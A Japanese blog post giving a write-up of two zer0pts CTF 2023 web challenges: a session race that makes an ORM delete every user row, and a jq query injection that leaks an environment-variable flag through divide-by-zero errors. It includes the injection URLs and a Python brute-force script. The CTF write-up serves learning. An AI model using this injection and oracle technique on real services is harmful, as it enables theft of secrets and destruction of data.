よーでんのブログ

One for All,All for わんわんお!

zer0pts CTF 2023

web upsolve

土日は普通に予定ありまくりだったので、終わってからregisterするという初めての体験をしました。
月曜日の祝日を使って2問だけupsolveできたのでそのwriteup。

まだまだweb問あるけど、これ以上解くのはしんどいのでwriteupを読んできます。。。

Warmuprofile

I made an app to share your profile.

URLにアクセスすると「Container Spawner」という画面がでる。どうやら個人用のインスタンスが用意される系の問題みたいだ。
生成すると、600秒限定でアクセスできるインスタンスが生えてきた。
ありがたいことに docker compose で起動できるので、基本的にはローカルで検証するのがよさそうだ。

Warmuprofile - TOP

register と login がある。
register では既存のIDを重複して作成することはできない。適当に作成してログインしてみる。

Warmuprofile - loggedin

プロフィール閲覧、ユーザ削除、フラグ取得、ログアウトがある。

プロフィール閲覧とログアウトは特に気になるところはなく、フラグ取得はユーザIDが admin の時のみ実行可能という感じ。

ユーザ削除だけちょっと不思議に思う箇所があった。

app.post('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // user is deleted, so session should be logged out
    req.session.destroy();
    return res.redirect('/');
});

わざわざ findOne したうえでそれを destroy に渡している。
ここで findOne の結果が0件だった時にどうなるかを試してみたい。

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // find user to be deleted
    const user2 = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user2?.dataValues }
    });
warmuprofile-app-1  | Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'a';
warmuprofile-app-1  | Executing (default): DELETE FROM `Users` WHERE `id` = 2 AND `username` = 'a' AND `password` = 'a' AND `profile` = 'a' AND `createdAt` = '2023-07-17 09:22:26.483 +00:00' AND `updatedAt` = '2023-07-17 09:22:26.483 +00:00'
warmuprofile-app-1  | Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'a';
warmuprofile-app-1  | Executing (default): DELETE FROM `Users`

Users テーブルの全レコードが削除された。これで admin を登録すれば flag が手に入る。
わざわざ環境を切り離していることからもこの方針で間違いなさそう。

問題は「どうやって User.destroy を2回実行させるか」というところ。

削除対象の usernamereq.param なのでどうにでもなるが、loggedInUsername となる username はセッションから取っている。
loggedInUsernameが正しくないと削除は実行されないし、削除後に session.destroy されてるのでセッションの使いまわしは不可。

ここで、重複ログイン状態で有効なセッションが2つあるときにそれぞれから削除を実行することでうまく行きそうだと思いついた。
プライベートタブを利用して同じアカウントに重複ログインし、アカウント削除をそれぞれから実行する。

これでUsersテーブルの全レコードが削除される。
ユーザID admin で登録してみたらそのまま flag が取得できた。

Warmuprofile - FLAG

jqi

I think jq is useful, so I decided to make a Web app that uses jq.

jqi - TOP

Keys で指定したフィールドのみを取得することができ、Conditions は文字列検索みたいな感じ。
ただ、keys には規定の文字以外入らない上に conds を指定したら「demoバージョンでは使えないよ」って言われる。

const KEYS = ['name', 'tags', 'author', 'flag'];
:
    for (const key of keys) {
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }
    }
:
    let result;
    try {
        result = await jq.run(query, './data.json', { output: 'json' });
    } catch(e) {
        return reply.send({ error: 'something wrong' });
    }

    if (conds.length > 0) {
        reply.send({ error: 'sorry, you cannot use filters in demo version' });
    } else {
        reply.send(result);
    }

ただ、conds のエラー処理は jq.run よりも後にある。
jq.run 時にエラーが起きた場合は catch が実行されるので、「something wrong」となるはず。
この辺で「エラーベースで特定できるのかな」と想像がつく。

もう少し細かく読んでいると、 index.js の43行目あたりで "\( をはじいていた。

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });
        }

「構文崩す系の攻撃が刺さるのかな?」と予想して、node-jq のコードをチラ見しに行ったら exec していた。

github.com

exec(command, args, stdin, cwd)

いつもの jq でデバッグすれば同じ挙動をしてくれそうだとわかる。

それでは、query がどう組み立てられているかを見ていく。

    const keys = 'keys' in request.query ? request.query.keys.toString().split(',') : KEYS;
    const conds = 'conds' in request.query ? request.query.conds.toString().split(',') : [];
:
    // build query for selecting keys
    for (const key of keys) {
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }
    }
    const keysQuery = keys.map(key => {
        return `${key}:.${key}`
    }).join(',');

    // build query for filtering results
    let condsQuery = '';

    for (const cond of conds) {
        const [str, key] = cond.split(' in ');
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });
        }

        condsQuery += `| select(.${key} | contains("${str}"))`;
    }

    let query = `[.challenges[] ${condsQuery} | {${keysQuery}}]`;
    console.log('[+] keys:', keys);
    console.log('[+] conds:', conds);
    console.log('[+] query:', query);

最後の query の出力はデバッグ用に自分で追加した。

http://localhost:8300/api/search?keys=name&conds=test+in+name としたときの出力が以下。

jqi-app-1  | [+] keys: [ 'name' ]
jqi-app-1  | [+] conds: [ 'test in name' ]
jqi-app-1  | [+] query: [.challenges[] | select(.name | contains("test")) | {name:.name}]

conds を複数にしたら query はこうなる。
http://localhost:8300/api/search?keys=name&conds=test+in+name,test2+in+name

jqi-app-1  | [+] query: [.challenges[] | select(.name | contains("test"))| select(.name | contains("test2")) | {name:.name}]

先述の通り、"\\( は弾かれるので使えない。
が、\\ は見られてないので、一個目の cond\\ にすることで二個目の cond でダブルクォートの外に出れる。
http://localhost:8300/api/search?keys=name&conds=\+in+name,))]+in+name

jqi-app-1  | [+] query: [.challenges[] | select(.name | contains("\"))| select(.name | contains("))]")) | {name:.name}]

この時点でレスポンスは something wrong になっている。対応するカッコを閉じても後ろのゴミで構文エラーになってるっぽい?
何か記号とか使ってコメントアウトできないかなと Intruder を回していると、# で「sorry, you cannot use filters in demo version」となった。構文エラーから脱出できた。
http://localhost:8300/api/search?keys=name&conds=\+in+name,))]%23+in+name

問題はここからどうやって環境変数を読むかだが、調べていると jq 内では env.FLAG で取得できるようだ。

jq env

また、if 文や計算とかもできるみたい。おなじみのゼロ除算で行けそう。
しばらくコマンドラインとにらめっこして出来上がったのが以下。

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ export FLAG="fake"

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ echo "{}" | jq '1/if env.FLAG | startswith([102]|implode) then 1 else 0 end'
1

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ echo "{}" | jq '1/if env.FLAG | startswith([103]|implode) then 1 else 0 end'
jq: error (at <stdin>:1): number (1) and number (0) cannot be divided because the divisor is zero

http://localhost:8300/api/search?keys=name&conds=\+in+name,))]|1/if+env.FLAG+|+startswith([110]|implode)+then+1+else+0+end%23+in+name
これでエラーベースに1文字ずつ特定できる。

import requests

flg = [ord(c) for c in "zer0pts{"]

pref = 'http://localhost:8300/api/search?keys=name&conds=\+in+name,))]|1/if+env.FLAG+|+startswith('
suff = '|implode)+then+1+else+0+end%23+in+name'

c = 0
while chr(c) != "}":
    # zer0pts\{[\x20-\x7e]+\}
    for c in range(32, 126):
        u = pref + "[" + "]%2b[".join(str(i) for i in flg) + f"]%2b[{c}]" + suff
        print("".join([chr(i) for i in flg]) + chr(c), end="\r")
        response = requests.get(u)
        if len(response.text) == 57:
            flg.append(c)
            break
    print("".join([chr(i) for i in flg]))

(フラグフォーマットの zer0pts{ を決め打ちにしていたら、ローカルの fake flag は nek0pts{ になっていてかなり悩んでしまった)

開催が終わったからか、APIがかなり遅いのでリモートでは2文字だけ特定して終わりにしておいた。

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ py solve.py 
zer0pts{1
zer0pts{1d
^CTraceback (most recent call last):

ローカルではすぐ特定できたので満足。

jqi - FLAG